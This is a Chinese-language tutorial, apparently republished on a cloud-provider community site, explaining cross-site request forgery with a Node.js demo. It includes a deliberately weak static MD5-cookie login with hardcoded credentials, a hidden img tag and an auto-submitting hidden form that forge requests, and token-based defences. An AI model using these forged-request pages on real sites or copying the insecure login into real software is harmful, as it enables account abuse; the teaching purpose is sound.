CSRF攻擊原理以及nodejs的實現和防禦

來源:互聯網
上載者:User

    一、簡介

    CSRF (Cross-site Request Forgery),中文名稱:跨站偽造。危害是攻擊者可以盜用你的身份,以你的名義發送惡意請求。比如可以盜取你的帳號,以你的身份發送郵件,購買商品等。

    二、原理

    具體的原理圖如下:

   

    更加恐怖的是使用諸如img之類的標籤,甚至不需要使用者點擊某個連結就可以發起攻擊,比如B網站可以添加如下代碼:

    <img src='http://www.company.com/action?k1=v1&k2=v2' width=0 height=0 />

      這裡width=0 height=0 表示圖片是不可見的。這個語句會導致遊覽器向另外的伺服器發送一個請求。遊覽器不管該圖片url實際是否指向一張圖片,只要src欄位中規定了url,就會按照地址觸發這個請求。(遊覽器預設都是沒有禁止下載圖片,這是因為禁用圖片後大多數web程式的可用性就會打折扣)。載入圖片根本不考慮所涉及的映像所在位置(可以跨域)。如果A網站不小心提供了get介面就非常不幸得中招了

        三、攻擊

      《淺談CSRF攻擊方式》一文中已經用執行個體講解了一個php的實現和防禦方法,我這裡主要是講nodejs的實現和防禦。為了簡單起見,假設我們有一個應用,它提供了兩個介面“/get/checkvalue”和 “'/post/setvalue”,它們都接受一個參數“value”來改變系統的一個某個值。 當然前提是使用者已經正常登陸了。具體邏輯是它有一個使用者登陸的過程,登陸成功後會將使用者資訊存到cookie中,之後就根據cookie來判斷是否能正常訪問,當然cookie資訊經過md5加密。(真實應用中千萬不要這麼做,md5加密並不是非常安全)。

      服務主程式:

var app = http.createServer(function(req, res) {  //許可權判斷  authMiddle(req, res, function(err, checkValue){    if (!checkValue) return res.end(html_login);    //資料查詢和操作    controller(req, res);    });});

        使用者權限判斷邏輯:

var cookieValue = crypto.createHash('md5').update('jifeng_jifeng').digest('hex');
function getCookie(headers){ var cookies = {}; headers.cookie && headers.cookie.split(';').forEach(function(cookie) { var parts = cookie.split('='); cookies[ parts[ 0 ].trim() ] = ( parts[ 1 ] || '' ).trim(); }); return cookies;}function checkUser(req, res, callback){ var chunks = []; var length = 0; var rows = null; req.on('data', function(data){ chunks.push(data); length += data.length; }) req.on('end', function(){ var rows = new Buffer(length); var len = 0; for (var i = 0, il = chunks.length; i < il; i++) { chunks[i].copy(rows, len); len += chunks[i].length; } var args = querystring.parse(rows.toString()); if (args && args.name === 'jifeng' && args.password ==='jifeng') { res.setHeader('Set-Cookie', ['cookie1987=' + cookieValue]); callback(null, true); } else { callback(null, false); } }) }function authMiddle(req, res, callback){ var flag = false; var params = urllib.parse(req.url, true); if (params.pathname === '/checkuser') { return checkUser(req, res, callback); } else { var headers = req.headers; var cookies = getCookie(headers);//得到使用者cookie if (cookies && cookies.cookie1987) { var v = cookies.cookie1987; if (v == cookieValue) { flag = true; } } callback(null, flag) }}

      那具體怎樣進攻呢?

      get攻擊的頁面很簡單。

<img src='http://test3.data.taobao.com:5678/get/check?func=get&value=10'> 

      post攻擊的頁面相對比較複雜

  <head>    <title>post 測試頁面</title>    <script>      function steal(){        var mySubmit = document.getElementById('steal_form');        mySubmit.submit();      }    </script>  </head>  <body onload='steal()'>  <form id = "steal_form" method="POST" action="http://test3.data.taobao.com:5678/post/check">    <input type="hidden" name="func" value="post">   <input type="hidden" name="value" value="1000">  </form>  </body>

     但這裡強調一點:現在遊覽器(chrome,firfox)為了安全考慮,預設都做了一定的限制,form標籤發送到其他網站的請求會被攔截,大家有興趣類比這種情況時需要注意這個問題。

     詳細的代碼:https://github.com/jifeng/toycode/tree/master/csrf

     四、防範

     訪問csrf的措施雖然很多,但歸根到底就是一條:在用戶端提交請求時增加偽造隨機數。

     nodejs中有些架構已經幫我們做了這件事,比如重用的connect

   它具體的實現:

     http://www.senchalabs.org/connect/csrf.html   

     舉例:

     https://github.com/senchalabs/connect/blob/master/examples/csrf.js

    實現還是相對比較簡單,有興趣的同學可以再仔細看下。

 

 

參考文章:

淺談CSRF攻擊方式

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.